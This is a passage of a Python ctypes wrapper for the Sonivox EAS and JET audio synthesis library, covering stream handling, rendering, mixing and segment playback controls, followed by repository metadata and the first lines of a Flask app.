None\r\n\t\t\r\n\t\t# create a sync lock\r\n\t\tself.lock = threading.RLock()\r\n\t\twith self.lock:\r\n\t\t\t# set log callback\r\n\t\t\r\n\t\t\t# get library configuration\r\n\t\t\tself.Config()\r\n\r\n\t\t\t# initialize library\r\n\t\t\tif handle is None:\r\n\t\t\t\tself.do_shutdown = True\r\n\t\t\t\teas_logger.debug('Call EAS_Init')\r\n\t\t\t\tresult = eas_dll.EAS_Init(byref(self.handle))\r\n\t\t\t\tif result:\r\n\t\t\t\t\traise EAS_Exception(result, 'EAS_Init error %d' % result, 'EAS_Init')\r\n\t\t\telse:\r\n\t\t\t\tself.do_shutdown = False\r\n\t\t\t\tself.handle = handle\r\n\r\n\t\t\t# allocate audio buffer for rendering\r\n\t\t\tAudioBufferType = c_ubyte * (2 * self.config.mixBufferSize * self.config.numChannels)\r\n\t\t\tself.audio_buffer = AudioBufferType()\r\n\t\t\tself.buf_size = self.config.mixBufferSize\r\n\r\n\tdef Config (self):\r\n\t\t\"\"\"Retrieves the EAS library configuration\"\"\"\r\n\t\tif not hasattr(self, 'config'):\r\n\t\t\teas_logger.debug('Call EAS_Config')\r\n\t\t\teas_dll.EAS_Config.restype = POINTER(EAS_Config)\r\n\t\t\tself.config = eas_dll.EAS_Config()[0]\r\n\t\teas_logger.debug(\"libVersion=%08x, maxVoices=%d, numChannels=%d, sampleRate = %d, mixBufferSize=%d\" %\r\n\t\t\t(self.config.libVersion, self.config.maxVoices, self.config.numChannels, self.config.sampleRate, self.config.mixBufferSize))\r\n\r\n\tdef Shutdown (self):\r\n\t\t\"\"\"Shuts down the EAS library\"\"\"\r\n\t\teas_logger.debug('EAS.Shutdown')\r\n\t\tif hasattr(self, 'handle'):\r\n\t\t\twith self.lock:\r\n\t\t\t\t# close audio streams\r\n\t\t\t\taudio_streams = self.audio_streams\r\n\t\t\t\tfor f in audio_streams:\r\n\t\t\t\t\teas_logger.warning('Stream was not closed before EAS_Shutdown')\r\n\t\t\t\t\tf.Close()\r\n\r\n\t\t\t\t# close output streams\r\n\t\t\t\toutput_streams = self.output_streams\r\n\t\t\t\tfor s in output_streams:\r\n\t\t\t\t\ts.close()\r\n\r\n\t\t\t\t# shutdown library\r\n\t\t\t\tif self.do_shutdown:\r\n\t\t\t\t\teas_logger.debug('Call EAS_Shutdown')\r\n\t\t\t\t\tresult = eas_dll.EAS_Shutdown(self.handle)\r\n\t\t\t\t\tif result:\r\n\t\t\t\t\t\traise EAS_Exception(result, 'EAS_Shutdown error %d' % result, 'EAS_Shutdown')\r\n\t\t\t\tdel self.handle\r\n\r\n\tdef OpenFile (self, path):\r\n\t\t\"\"\"Opens an audio file to be played by the EAS library and\r\n\t\treturns an EAS_File object\r\n\r\n\t\tArguments:\r\n\t\t\tpath - path to audio file\r\n\r\n\t\tReturns:\r\n\t\t\tEAS_File\r\n\t\t\t\r\n\t\t\"\"\"\r\n\t\twith self.lock:\r\n\t\t\teas_logger.debug('Call EAS_OpenFile for file: %s' % path)\r\n\t\t\tstream_handle = c_void_p(0)\r\n\t\t\tresult = eas_dll.EAS_OpenFile(self.handle, path, byref(stream_handle))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_OpenFile error %d on file %s' % (result, path), 'EAS_OpenFile')\r\n\r\n\t\t\t# create file object and save in list\r\n\t\t\tstream = EAS_File(path, stream_handle, self)\r\n\t\t\tself.audio_streams.append(stream)\r\n\t\t\treturn stream\r\n\r\n\tdef OpenMIDIStream (self, stream=None):\r\n\t\t\"\"\"Opens a MIDI stream.\r\n\r\n\t\tArguments:\r\n\t\t\tstream - open stream object. If None, a new synth\r\n\t\t\tis created.\r\n\r\n\t\tReturns:\r\n\t\t\tEAS_MIDIStream\r\n\t\t\t\r\n\t\t\"\"\"\r\n\t\twith self.lock:\r\n\t\t\teas_logger.debug('Call EAS_OpenMIDIStream')\r\n\t\t\tstream_handle = c_void_p(0)\r\n\t\t\tif stream.handle is not None:\r\n\t\t\t\tresult = eas_dll.EAS_OpenMIDIStream(self.handle, byref(stream_handle), stream.handle)\r\n\t\t\telse:\r\n\t\t\t\tresult = eas_dll.EAS_OpenMIDIStream(self.handle, byref(stream_handle), 0)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_OpenMIDIStream error %d' % result, 'EAS_OpenMIDIStream')\r\n\r\n\t\t\t# create stream object and save in list\r\n\t\t\tstream = EAS_MIDIStream(stream_handle, self)\r\n\t\t\tself.audio_streams.append(stream)\r\n\t\t\treturn stream\r\n\r\n\tdef OpenToneControlStream (self, path):\r\n\t\t\"\"\"Opens an MMAPI tone control file to be played by the EAS\r\n\t\tlibrary and returns an EAS_File object\r\n\r\n\t\tArguments:\r\n\t\t\tpath - path to audio file\r\n\r\n\t\tReturns:\r\n\t\t\tEAS_File\r\n\t\t\t\r\n\t\t\"\"\"\r\n\t\twith self.lock:\r\n\t\t\teas_logger.debug('Call EAS_MMAPIToneControl for file: %s' % path)\r\n\t\t\tstream_handle = c_void_p(0)\r\n\t\t\tresult = eas_dll.EAS_MMAPIToneControl(self.handle, path, byref(stream_handle))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_MMAPIToneControl error %d on file %s' % (result, path), 'EAS_OpenToneControlStream')\r\n\r\n\t\t\t# create file object and save in list\r\n\t\t\tstream = EAS_File(path, stream_handle, self)\r\n\t\t\tself.audio_streams.append(stream)\r\n\t\t\treturn stream\r\n\r\n\tdef Attach (self, stream):\r\n\t\t\"\"\"Attach a file or output device to the EAS output.\r\n\r\n\t\tThe stream object must support the following methods as\r\n\t\tdefined in the Python wave module:\r\n\t\t\tclose()\r\n\t\t\tsetparams()\r\n\t\t\twriteframesraw()\r\n\r\n\t\tArguments:\r\n\t\t\tstream - open wave object\r\n\r\n\t\t\"\"\"\r\n\t\tself.output_streams.append(stream)\r\n\t\tstream.setparams((self.config.numChannels, 2, self.config.sampleRate, 0, 'NONE', None))\r\n\r\n\tdef Detach (self, stream):\r\n\t\t\"\"\"Detach a file or output device from the EAS output. See\r\n\t\tEAS.Attach for more details. It is the responsibility of\r\n\t\tthe caller to close the wave file or stream.\r\n\r\n\t\tArguments:\r\n\t\t\tstream - open and attached wave object\r\n\t\t\"\"\"\r\n\t\tself.output_streams.remove(stream)\r\n\r\n\tdef StartWave (self, dev_num=0, sampleRate=None, maxBufSize=None):\r\n\t\t\"\"\"Route the audio output to the indicated wave device. Note\r\n\t\tthat this can cause EASDLL.EAS_RenderWaveOut to return an\r\n\t\terror code if all the output buffers are full. In this case,\r\n\t\tthe render thread should sleep a bit and try again.\r\n\t\tUnfortunately, due to the nature of the MMSYSTEM interface,\r\n\t\tthere is no simple way to suspend the render thread.\r\n\r\n\t\t\"\"\"\r\n\t\tif sampleRate == None:\r\n\t\t\tsampleRate = self.config.sampleRate\r\n\t\tif maxBufSize == None:\r\n\t\t\tmaxBufSize = self.config.mixBufferSize\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.OpenWaveOutDevice(dev_num, sampleRate, maxBufSize)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'OpenWaveOutDevice error %d' % result, 'OpenWaveOutDevice')\r\n\r\n\tdef StopWave (self):\r\n\t\t\"\"\"Stop routing audio output to the audio device.\"\"\"\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.CloseWaveOutDevice()\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'CloseWaveOutDevice error %d' % result, 'CloseWaveOutDevice')\r\n\r\n\tdef Render (self, count=None, secs=None):\r\n\t\t\"\"\"Calls EAS_Render to render audio.\r\n\r\n\t\tArguments\r\n\t\t\tcount - number of buffers to render\r\n\t\t\tsecs - number of seconds to render\r\n\r\n\t\tIf both count and secs are None, render a single buffer. \r\n\r\n\t\t\"\"\"\r\n\r\n\t\t# determine number of buffers to render\r\n\t\tif count is None:\r\n\t\t\tif secs is not None:\r\n\t\t\t\tcount = int(secs * float(self.config.sampleRate) / float(self.buf_size) + 0.5)\r\n\t\t\telse:\r\n\t\t\t\tcount = 1\r\n\r\n\t\t# render buffers\r\n\t\teas_logger.debug('rendering %d buffers' % count)\r\n\t\tsamplesRendered = c_long(0)\r\n\t\twith self.lock:\r\n\t\t\tfor c in range(count):\r\n\t\t\t\t# render a buffer of audio\r\n\t\t\t\teas_logger.debug('rendering buffer')\r\n\t\t\t\twhile 1:\r\n\t\t\t\t\tif self.aux_mixer is None:\r\n\t\t\t\t\t\tresult = eas_dll.EAS_RenderWaveOut(self.handle, byref(self.audio_buffer), self.buf_size, byref(samplesRendered))\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tresult = eas_dll.EAS_RenderAuxMixer(self.handle, byref(self.audio_buffer), byref(samplesRendered))\r\n\t\t\t\t\t\r\n\t\t\t\t\tif result == 0:\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tif result == EAS_BUFFER_FULL:\r\n\t\t\t\t\t\ttime.sleep(0.01)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\traise EAS_Exception(result, 'EAS_Render error %d' % result, 'EAS_Render')\r\n\r\n\t\t\t\t# output to attached streams\r\n\t\t\t\tfor s in self.output_streams:\r\n\t\t\t\t\ts.writeframesraw(self.audio_buffer)\r\n\t\t\t\t\r\n\tdef GetRenderTime (self):\r\n\t\t\"\"\"Get the render time in seconds.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetRenderTime')\r\n\t\tmsecs = c_int(0)\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_GetRenderTime(self.handle, byref(msecs))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetRenderTime error %d' % result, 'EAS_GetRenderTime')\r\n\t\tmsecs = float(msecs.value) / 1000\r\n\t\teas_logger.debug('EAS_GetRenderTime: time=%.3f' % msecs)\r\n\t\treturn msecs\r\n\r\n\tdef SetVolume (self, volume):\r\n\t\t\"\"\"Set the master volume\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetVolume: volume=%d' % volume)\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_SetVolume(self.handle, 0, volume)\r\n\t\t\tif result:\r\n\t\t\t\t\traise EAS_Exception(result, 'EAS_SetVolume error %d' % result, 'EAS_SetVolume')\r\n\r\n\tdef GetVolume (self):\r\n\t\t\"\"\"Get the stream volume.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetVolume')\r\n\t\tvolume = c_int(0)\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_GetVolume(self.handle, 0, byref(volume))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetVolume error %d' % result, 'EAS_GetVolume')\r\n\t\teas_logger.debug('EAS_GetVolume: volume=%d' % volume.value)\r\n\t\treturn volume.value\r\n\r\n\tdef SetPolyphony (self, polyphony, synth_num=0):\r\n\t\t\"\"\"Set the polyphony of a synth.\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetSynthPolyphony: synth_num=%d, polyphony=%d' % (synth_num, polyphony))\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_SetSynthPolyphony(self.handle, synth_num, polyphony)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetSynthPolyphony error %d on synth %d' % (result, synth_num), 'EAS_SetPolyphony')\r\n\r\n\tdef GetPolyphony (self, synth_num=0):\r\n\t\t\"\"\"Get the polyphony of a synth.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetSynthPolyphony: synth_num=%d' % synth_num)\r\n\t\tpolyphony = c_int(0)\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_GetSynthPolyphony(self.handle, synth_num, byref(polyphony))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetSynthPolyphony error %d on synth %d' % (result, synth_num), 'EAS_GetPolyphony')\r\n\t\teas_logger.debug('Call EAS_GetSynthPolyphony: synth_num=%d, polyphony=%d' % (synth_num, polyphony.value))\r\n\t\treturn polyphony.value\r\n\r\n\tdef SetMaxLoad (self, max_load):\r\n\t\t\"\"\"Set the maximum parser load.\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetMaxLoad: max_load=%d' % max_load)\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_SetMaxLoad(self.handle, max_load)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetMaxLoad error %d' % result, 'EAS_SetMaxLoad')\r\n\r\n\tdef SetParameter (self, module, param, value):\r\n\t\t\"\"\"Set a module parameter.\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetParameter: module=%d, param=%d, value=%d' % (module, param, value))\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_SetParameter(self.handle, module, param, value)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetParameter error %d (param=%d, value=%d)' % (result, param, value), 'EAS_SetParameter')\r\n\t\t\t\t\r\n\tdef GetParameter (self, module, param):\r\n\t\t\"\"\"Get the polyphony of a synth.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetParameter: module=%d, param=%d' % (module, param))\r\n\t\tvalue = c_int(0)\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_GetParameter(self.handle, module, param, byref(value))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetParameter error %d (param=%d)' % (result, param), 'EAS_GetParameter')\r\n\t\teas_logger.debug('Call EAS_SetParameter: module=%d, param=%d, value=%d' % (module, param, value.value))\r\n\t\treturn value.value\r\n\r\n\tdef SelectLib (self, test_lib=False):\r\n\t\teas_logger.debug('Call EAS_SelectLib: test_lib=%s' % test_lib)\r\n\t\teasdll = cdll.LoadLibrary('EASDLL')\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_SelectLib(self.handle, 0, test_lib)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SelectLib error %d' % result, 'EAS_SelectLib')\r\n\r\n\tdef LoadDLSCollection (self, path):\r\n\t\teas_logger.debug('Call EAS_LoadDLSCollection: lib_path=%s' % path)\r\n\t\twith self.lock:\r\n\t\t\tresult = eas_dll.EAS_LoadDLSCollection(self.handle, 0, path)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_LoadDLSCollection error %d lib %s' % (result, path), 'EAS_LoadDLSCollection')\r\n\r\n\tdef SetAuxMixerHook (self, aux_mixer):\r\n\r\n\t\t# if aux mixer has bigger buffer, re-allocate buffer\r\n\t\tif (aux_mixer is not None) and (aux_mixer.buf_size > self.config.mixBufferSize):\r\n\t\t\tbuf_size = aux_mixer.buf_size\r\n\t\telse:\r\n\t\t\tbuf_size = self.config.mixBufferSize\r\n\r\n\t\t# allocate audio buffer for rendering\r\n\t\tAudioBufferType = c_ubyte * (2 * buf_size * self.config.numChannels)\r\n\t\tself.audio_buffer = AudioBufferType()\r\n\t\tself.buf_size = buf_size\r\n\t\tself.aux_mixer = aux_mixer\r\n\r\n\tdef SetDebugLevel (self, level=3):\r\n\t\t\"\"\"Sets the EAS debug level.\"\"\"\r\n\t\twith self.lock:\r\n\t\t\teas_logger.debug('Call EAS_SetDebugLevel')\r\n\t\t\teas_dll.EAS_DLLSetDebugLevel(self.handle, level)\r\n\r\n#---------------------------------------------------------------\r\n# EASAuxMixer\r\n#---------------------------------------------------------------\r\nclass EASAuxMixer (object):\r\n\tdef __init__ (self, eas=None, num_streams=3, sample_rate=44100, max_sample_rate=44100):\r\n\t\teas_logger.debug('EASAuxMixer.__init__')\r\n\t\tself.Init(eas, num_streams, sample_rate, max_sample_rate)\r\n\r\n\tdef __del__ (self):\r\n\t\teas_logger.debug('EASAuxMixer.__del__')\r\n\t\tself.Shutdown()\r\n\r\n\tdef Init (self, eas=None, num_streams=3, sample_rate=44100, max_sample_rate=44100):\r\n\t\t\"\"\"Initializes the EAS Auxilliary Mixer.\"\"\"\r\n\t\teas_logger.debug('EASAuxMixer.Init')\r\n\r\n\t\tif hasattr(self, 'eas'):\r\n\t\t\traise EAS_Exception(-1, 'EASAuxMixer already initialized', 'EASAuxMixer.Init')\r\n\r\n\t\t# initialize EAS, if necessary\r\n\t\tif eas is None:\r\n\t\t\teas_logger.debug('No EAS handle --- initializing EAS')\r\n\t\t\teas = EAS()\r\n\t\t\tself.alloc_eas = True\r\n\t\telse:\r\n\t\t\tself.alloc_eas = False\r\n\t\tself.eas = eas\r\n\r\n\t\t# initialize library\r\n\t\teas_logger.debug('Call EAS_InitAuxMixer')\r\n\t\tbuf_size = c_int(0)\r\n\t\tresult = eas_dll.EAS_InitAuxMixer(eas.handle, num_streams, sample_rate, max_sample_rate, byref(buf_size))\r\n\t\tif result:\r\n\t\t\traise EAS_Exception(result, 'EAS_InitAuxMixer error %d' % result, 'EAS_InitAuxMixer')\r\n\t\tself.buf_size = buf_size.value\r\n\t\tself.streams = []\r\n\t\teas.SetAuxMixerHook(self)\r\n\r\n\tdef Shutdown (self):\r\n\t\t\"\"\"Shuts down the EAS Auxilliary Mixer\"\"\"\r\n\t\teas_logger.debug('EASAuxMixer.Shutdown')\r\n\t\tif not hasattr(self, 'eas'):\r\n\t\t\treturn\r\n\t\t\t\r\n\t\twith self.eas.lock:\r\n\t\t\tif len(self.streams):\r\n\t\t\t\teas_logger.warning('Stream was not closed before EAS_ShutdownAuxMixer')\r\n\t\t\t\tfor stream in self.streams:\r\n\t\t\t\t\tself.CloseStream(stream)\r\n\r\n\t\t\tself.eas.SetAuxMixerHook(None)\r\n\r\n\t\t\t# shutdown library\r\n\t\t\teas_logger.debug('Call EAS_ShutdownAuxMixer')\r\n\t\t\tresult = eas_dll.EAS_ShutdownAuxMixer(self.eas.handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_ShutdownAuxMixer error %d' % result, 'EAS_ShutdownAuxMixer')\r\n\r\n\t\t\t# if we created the EAS reference here, shut it down\r\n\t\t\tif self.alloc_eas:\r\n\t\t\t\tself.eas.Shutdown()\r\n\t\t\t\tself.alloc_eas = False\r\n\t\t\tdel self.eas\r\n\r\n\tdef OpenStream (self, decoder_func, inst_data, sample_rate, num_channels):\r\n\t\t\"\"\"Opens an audio file to be played by the JET library and\r\n\t\treturns a JET_File object\r\n\r\n\t\tArguments:\r\n\t\t\tcallback - callback function to decode more audio\r\n\r\n\t\t\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call EAS_OpenAudioStream')\r\n\t\t\tdecoder_func = EAS_DECODER_FUNC(decoder_func)\r\n\t\t\tstream_handle = c_void_p(0)\r\n\t\t\tresult = eas_dll.EAS_OpenAudioStream(self.eas.handle, decoder_func, inst_data, sample_rate, num_channels, stream_handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_OpenAudioStream error %d on file %s' % (result, path), 'EAS_OpenAudioStream')\r\n\t\t\tself.streams.add(stream_handle)\r\n\t\t\treturn stream_handle\r\n\r\n\tdef CloseStream (self, stream_handle):\r\n\t\t\"\"\"Closes an open audio stream.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call EAS_CloseAudioStream')\r\n\t\t\tresult = eas_dll.JET_CloseFile(self.eas.handle, stream_handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_CloseAudioStream error %d' % result, 'EAS_CloseAudioStream')\r\n\r\n#---------------------------------------------------------------\r\n# JET_Status \r\n#---------------------------------------------------------------\r\nclass JET_Status (Structure):\r\n\t_fields_ = [('currentUserID', c_int),\r\n\t\t\t\t('segmentRepeatCount', c_int),\r\n\t\t\t\t('numQueuedSegments', c_int),\r\n\t\t\t\t('paused', c_int),\r\n\t\t\t\t('location', c_long),\r\n\t\t\t\t('currentPlayingSegment', c_int),\r\n\t\t\t\t('currentQueuedSegment', c_int),\r\n\t\t\t\t]\r\n\r\n#---------------------------------------------------------------\r\n# JET_File\r\n#---------------------------------------------------------------\r\nclass JET_File (object):\r\n\tdef __init__ (self, handle, jet):\r\n\t\teas_logger.debug('JET_File.__init__')\r\n\t\tself.handle = handle\r\n\t\tself.jet = jet\r\n\r\n#---------------------------------------------------------------\r\n# JET\r\n#---------------------------------------------------------------\r\nclass JET (object):\r\n\tdef __init__ (self, eas=None):\r\n\t\t# eas_logger.debug('JET.__init__')\r\n\t\tself.Init(eas)\r\n\r\n\tdef __del__ (self):\r\n\t\teas_logger.debug('JET.__del__')\r\n\t\tself.Shutdown()\r\n\r\n\tdef Init (self, eas=None, config=None):\r\n\t\t\"\"\"Initializes the JET Library.\"\"\"\r\n\t\t# eas_logger.debug('JET.Init')\r\n\r\n\t\tif hasattr(self, 'eas'):\r\n\t\t\traise EAS_Exception(-1, 'JET library already initialized', 'Jet.Init')\r\n\r\n\t\t# create some members\r\n\t\tif eas is None:\r\n\t\t\t# eas_logger.debug('No EAS handle --- initializing EAS')\r\n\t\t\teas = EAS()\r\n\t\t\tself.alloc_eas = True\r\n\t\telse:\r\n\t\t\tself.alloc_eas = False\r\n\t\tself.eas = eas\r\n\t\tself.fileOpen = False\r\n\r\n\t\t# handle configuration\r\n\t\tif config is None:\r\n\t\t\tconfig_handle = c_void_p(0)\r\n\t\t\tconfig_size = 0\r\n\t\telse:\r\n\t\t\tjet_config = S_JET_CONFIG()\r\n\t\t\tjet_config.appLowNote = config.appLowNote\r\n\t\t\tconfig_handle = c_void_p(jet_config)\r\n\t\t\tconfig_size = jet_config.sizeof()\r\n\r\n\t\t# initialize library\r\n\t\t# eas_logger.debug('Call JET_Init')\r\n\t\tresult = eas_dll.JET_Init(eas.handle, config_handle, config_size)\r\n\t\tif result:\r\n\t\t\traise EAS_Exception(result, 'JET_Init error %d' % result, 'JET_Init')\r\n\r\n\tdef Shutdown (self):\r\n\t\t\"\"\"Shuts down the JET library\"\"\"\r\n\t\teas_logger.debug('JET.Shutdown')\r\n\t\tif not hasattr(self, 'eas'):\r\n\t\t\treturn\r\n\t\t\t\r\n\t\twith self.eas.lock:\r\n\t\t\tif self.fileOpen:\r\n\t\t\t\teas_logger.warning('Stream was not closed before JET_Shutdown')\r\n\t\t\t\tself.CloseFile()\r\n\r\n\t\t\t# shutdown library\r\n\t\t\teas_logger.debug('Call JET_Shutdown')\r\n\t\t\tresult = eas_dll.JET_Shutdown(self.eas.handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_Shutdown error %d' % result, 'JET_Shutdown')\r\n\r\n\t\t\t# if we created the EAS reference here, shut it down\r\n\t\t\tif self.alloc_eas:\r\n\t\t\t\tself.eas.Shutdown()\r\n\t\t\t\tself.alloc_eas = False\r\n\t\t\tdel self.eas\r\n\r\n\tdef OpenFile (self, path):\r\n\t\t\"\"\"Opens an audio file to be played by the JET library and\r\n\t\treturns a JET_File object\r\n\r\n\t\tArguments:\r\n\t\t\tpath - path to audio file\r\n\r\n\t\t\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call JET_OpenFile for file: %s' % path)\r\n\t\t\tresult = eas_dll.JET_OpenFile(self.eas.handle, path)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_OpenFile error %d on file %s' % (result, path), 'JET_OpenFile')\r\n\r\n\tdef CloseFile (self):\r\n\t\t\"\"\"Closes an open audio file.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call JET_CloseFile')\r\n\t\t\tresult = eas_dll.JET_CloseFile(self.eas.handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_CloseFile error %d' % result, 'JET_CloseFile')\r\n\r\n\tdef QueueSegment (self, userID, seg_num, dls_num=-1, repeat=0, tranpose=0, mute_flags=0):\r\n\t\t\"\"\"Queue a segment for playback.\r\n\r\n\t\tArguments:\r\n\t\t\tseg_num - segment number to queue\r\n\t\t\trepeat - repeat count (-1=repeat forever, 0=no repeat, 1+ = play n+1 times)\r\n\t\t\ttranpose - transpose amount (+/-12)\r\n\t\t\t\r\n\t\t\t\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call JET_QueueSegment')\r\n\t\t\tresult = eas_dll.JET_QueueSegment(self.eas.handle, seg_num, dls_num, repeat, tranpose, mute_flags, userID)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_QueueSegment error %d' % result, 'JET_QueueSegment')\r\n\r\n\tdef Clear_Queue(self):\r\n\t\t\"\"\"Kills the queue.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call JET_Clear_Queue')\r\n\t\t\tresult = eas_dll.JET_Clear_Queue(self.eas.handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_Clear_Queue error %d' % result, 'JET_Clear_Queue')\r\n\r\n\tdef GetAppEvent(self):\r\n\t\t\"\"\"Gets an App event.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call JET_GetEvent')\r\n\t\t\tresult = eas_dll.JET_GetEvent(self.eas.handle, 0, 0)\r\n\t\t\treturn result \r\n\r\n\tdef Play(self):\r\n\t\t\"\"\"Starts JET playback.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call JET_Play')\r\n\t\t\tresult = eas_dll.JET_Play(self.eas.handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_Play error %d' % result, 'JET_Play')\r\n\r\n\tdef Pause(self):\r\n\t\t\"\"\"Pauses JET playback.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call JET_Pause')\r\n\t\t\tresult = eas_dll.JET_Pause(self.eas.handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_Pause error %d' % result, 'JET_Pause')\r\n\r\n\tdef Render (self, count=None, secs=None):\r\n\t\t\"\"\"Calls EAS_Render to render audio.\r\n\r\n\t\tArguments\r\n\t\t\tcount - number of buffers to render\r\n\t\t\tsecs - number of seconds to render\r\n\r\n\t\tIf both count and secs are None, render a single buffer. \r\n\r\n\t\t\"\"\"\r\n\t\t# calls JET.Render\r\n\t\twith self.eas.lock:\r\n\t\t\tself.eas.Render(count, secs)\r\n\r\n\tdef Status (self):\r\n\t\t\"\"\"Get JET status.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call JET_Status')\r\n\t\t\tstatus = JET_Status()\r\n\t\t\tresult = eas_dll.JET_Status(self.eas.handle, byref(status))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_Status error %d' % result, 'JET_Status')\r\n\t\t\teas_logger.debug(\"currentUserID=%d, repeatCount=%d, numQueuedSegments=%d, paused=%d\" %\r\n\t\t\t\t(status.currentUserID, status.segmentRepeatCount, status.numQueuedSegments, status.paused))\r\n\t\t\treturn status\r\n\t\t\t\t\r\n\tdef SetVolume (self, volume):\r\n\t\t\"\"\"Set the JET volume\"\"\"\r\n\t\teas_logger.debug('Call JET_SetVolume')\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.JET_SetVolume(self.eas.handle, volume)\r\n\t\t\tif result:\r\n\t\t\t\t\traise EAS_Exception(result, 'JET_SetVolume error %d' % result, 'JET_SetVolume')\r\n\r\n\tdef SetTransposition (self, transposition):\r\n\t\t\"\"\"Set the transposition of a stream.\"\"\"\r\n\t\teas_logger.debug('Call JET_SetTransposition')\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.JET_SetTransposition(self.eas.handle, transposition)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_SetTransposition error %d' % result, 'JET_SetTransposition')\r\n\r\n\tdef TriggerClip (self, clipID):\r\n\t\t\"\"\"Trigger a clip in the current segment.\"\"\"\r\n\t\teas_logger.debug('Call JET_TriggerClip')\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.JET_TriggerClip(self.eas.handle, clipID)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_SetTransposition error %d' % result, 'JET_TriggerClip')\r\n\r\n\tdef SetMuteFlag (self, track_num, mute, sync=True):\r\n\t\t\"\"\"Trigger a clip in the current segment.\"\"\"\r\n\t\teas_logger.debug('Call JET_SetMuteFlag')\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.JET_SetMuteFlag(self.eas.handle, track_num, mute, sync)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_SetMuteFlag error %d' % result, 'JET_SetMuteFlag')\r\n\r\n\tdef SetMuteFlags (self, mute_flags, sync=True):\r\n\t\t\"\"\"Trigger a clip in the current segment.\"\"\"\r\n\t\teas_logger.debug('Call JET_SetMuteFlags')\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.JET_SetMuteFlags(self.eas.handle, mute_flags, sync)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'JET_SetMuteFlag error %d' % result, 'JET_SetMuteFlags')\r\n\r\n\r\n","repo_name":"CyFI-Lab-Public/RetroScope","sub_path":"external/sonivox/jet_tools/JetCreator/eas.py","file_name":"eas.py","file_ext":"py","file_size_in_byte":42760,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"78"} +{"seq_id":"36493470031","text":"import os\nfrom flask import Flask, render_template, request, redirect, url_for, jsonify, send_from_directory\nfrom database import (insert_owner_into_db, check_presence_in_db, verify_signin_with_db, 